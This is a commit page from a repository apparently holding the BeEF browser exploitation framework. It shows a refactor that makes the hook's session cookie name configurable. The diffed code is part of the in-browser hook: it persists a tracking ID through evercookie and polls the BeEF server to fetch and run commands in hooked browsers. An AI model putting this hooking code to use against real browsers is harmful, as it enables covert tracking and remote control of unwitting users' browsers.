Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Updated multiple core files to use hook_session_name consistently from the config.yaml file.

Browse Source
This commit is contained in:
antisnatchor
2013-04-09 10:25:49 +01:00
parent d855100ac9
commit 5585879cca
4 changed files with 14 additions and 10 deletions
Download Patch File Download Diff File Expand all files Collapse all files

3
core/main/client/init.js
View File

@@ -13,7 +13,8 @@
* and will have a new session id. The new session id will need to know * and will have a new session id. The new session id will need to know
* the brwoser details. So sendback the browser details again. * the brwoser details. So sendback the browser details again.
*/ */
BEEFHOOK = beef.session.get_hook_session_id();
beef.session.get_hook_session_id();
if (beef.pageIsLoaded) { if (beef.pageIsLoaded) {
beef.net.browser_details(); beef.net.browser_details();

15
core/main/client/session.js
View File

@@ -13,7 +13,8 @@ beef.session = {
hook_session_id_length: 80, hook_session_id_length: 80,
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
ec: new evercookie(), ec: new evercookie(),
beefhook: "<%= @hook_session_name %>",
/** /**
* Gets a string which will be used to identify the hooked browser session * Gets a string which will be used to identify the hooked browser session
@@ -22,12 +23,12 @@ beef.session = {
*/ */
get_hook_session_id: function() { get_hook_session_id: function() {
// check if the browser is already known to the framework // check if the browser is already known to the framework
var id = this.ec.evercookie_cookie("BEEFHOOK"); var id = this.ec.evercookie_cookie(beef.session.beefhook);
if (typeof id == 'undefined') { if (typeof id == 'undefined') {
var id = this.ec.evercookie_userdata("BEEFHOOK"); var id = this.ec.evercookie_userdata(beef.session.beefhook);
} }
if (typeof id == 'undefined') { if (typeof id == 'undefined') {
var id = this.ec.evercookie_window("BEEFHOOK"); var id = this.ec.evercookie_window(beef.session.beefhook);
} }
// if the browser is not known create a hook session id and set it // if the browser is not known create a hook session id and set it
@@ -47,9 +48,9 @@ beef.session = {
*/ */
set_hook_session_id: function(id) { set_hook_session_id: function(id) {
// persist the hook session id // persist the hook session id
this.ec.evercookie_cookie("BEEFHOOK", id); this.ec.evercookie_cookie(beef.session.beefhook, id);
this.ec.evercookie_userdata("BEEFHOOK", id); this.ec.evercookie_userdata(beef.session.beefhook, id);
this.ec.evercookie_window("BEEFHOOK", id); this.ec.evercookie_window(beef.session.beefhook, id);
}, },
/** /**

3
core/main/client/updater.js
View File

@@ -15,6 +15,7 @@ beef.updater = {
// XHR-polling timeout. // XHR-polling timeout.
xhr_poll_timeout: "<%= @xhr_poll_timeout %>", xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
beefhook: "<%= @hook_session_name %>",
// A lock. // A lock.
lock: false, lock: false,
@@ -57,7 +58,7 @@ beef.updater = {
get_commands: function() { get_commands: function() {
try { try {
this.lock = true; this.lock = true;
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) { beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
if (response.body != null && response.body.length > 0) if (response.body != null && response.body.length > 0)
beef.updater.execute_commands(); beef.updater.execute_commands();
}); });

3
core/main/handlers/modules/beefjs.rb
View File

@@ -80,8 +80,9 @@ module BeEF
# @note set the XHR-polling timeout # @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
# @note set the hook file path # @note set the hook file path and BeEF's cookie name
hook_session_config['hook_file'] = config.get("beef.http.hook_file") hook_session_config['hook_file'] = config.get("beef.http.hook_file")
hook_session_config['hook_session_name'] = config.get("beef.http.hook_session_name")
# @note if http_port <> public_port in config ini, use the public_port # @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil? unless hook_session_config['beef_public_port'].nil?